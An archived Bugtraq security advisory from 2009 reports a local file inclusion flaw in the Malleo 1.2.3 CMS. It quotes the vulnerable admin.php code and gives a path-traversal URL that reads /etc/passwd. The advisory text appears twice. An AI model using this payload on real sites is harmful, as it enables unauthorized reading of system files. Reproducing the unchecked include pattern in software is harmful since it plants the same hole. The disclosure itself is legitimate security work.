Malleo 1.2.3 Local File Inclusion Vulnerability
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, str0ke <str0ke@xxxxxxxxxxx>
- Subject: Malleo 1.2.3 Local File Inclusion Vulnerability
- From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
- Date: Fri, 17 Apr 2009 20:18:37 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=h1SOlyxGiSr6gORIKBfmz1JGSxPbusnyA53Sv3p8MLs=; b=jlvd3rv9McYDLQkkzBkPii9m3XCGG2MUHngW6LcHkXMJJrt3gMPnSXiFvsDvpfYlmX c/KVr+t11BPYqDJOzHlwjJcKWDG/SNlcNEfapxYW4Gdaf6Qgs7gbSP/vo+Wv0qUQVxlH v4WzvUcme8tHgYHJM6tyCy3wdKxWRCjUOsGFM=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=ZogOKnsNLnOBp1kYBS08HwS3/3cTw9XuqWbniKq/flHLahFbSKLknjpsyMmiFeQ8pv yB8n6tHPmN65pHZksNn02/cmCaDYXHAd1KuSEWw/Itkfr10GgJbG6bgS0ofMB5wlIeVj fAMqAEQ8hKGx5rhDiJu3JUlNIVBeYRfDLRQmg=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
******* Salvatore "drosophila" Fresta *******
[+] Application: Malleo
[+] Version: 1.2.3
[+] Website: http://www.malleo-cms.com
[+] Bugs: [A] Local File Inclusion
[+] Exploitation: Remote
[+] Date: 17 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Local File Inclusion
[-] Risk: low
[-] File affected: admin.php
This bug allows a privileged user to include local
files. I decided to publish this bug for reporting
security flaw only. The following is the vulnerable
code:
...
$module = (isset($_GET['module']))?
$_GET['module']:$cf->config['default_module_admin'];
...
}else{
// Mise a jour de la date d'activite de la session fondateur
if ($cf->config['activer_digicode']) $_SESSION['digicode_TTL'] = time();
if (file_exists($root.$module))
{
include_once($root.$module);
...
*************************************************
[+] Code
- [A] Local File Inclusion
http://www.site.com/path/admin.php?module=../../../../../etc/passwd
*************************************************
[+] Fix
No fix.
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351
******* Salvatore "drosophila" Fresta *******
[+] Application: Malleo
[+] Version: 1.2.3
[+] Website: http://www.malleo-cms.com
[+] Bugs: [A] Local File Inclusion
[+] Exploitation: Remote
[+] Date: 17 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Local File Inclusion
[-] Risk: low
[-] File affected: admin.php
This bug allows a privileged user to include local
files. I decided to publish this bug for reporting
security flaw only. The following is the vulnerable
code:
...
$module = (isset($_GET['module']))?
$_GET['module']:$cf->config['default_module_admin'];
...
}else{
// Mise a jour de la date d'activite de la session fondateur
if ($cf->config['activer_digicode']) $_SESSION['digicode_TTL'] = time();
if (file_exists($root.$module))
{
include_once($root.$module);
...
*************************************************
[+] Code
- [A] Local File Inclusion
http://www.site.com/path/admin.php?module=../../../../../etc/passwd
*************************************************
[+] Fix
No fix.
*************************************************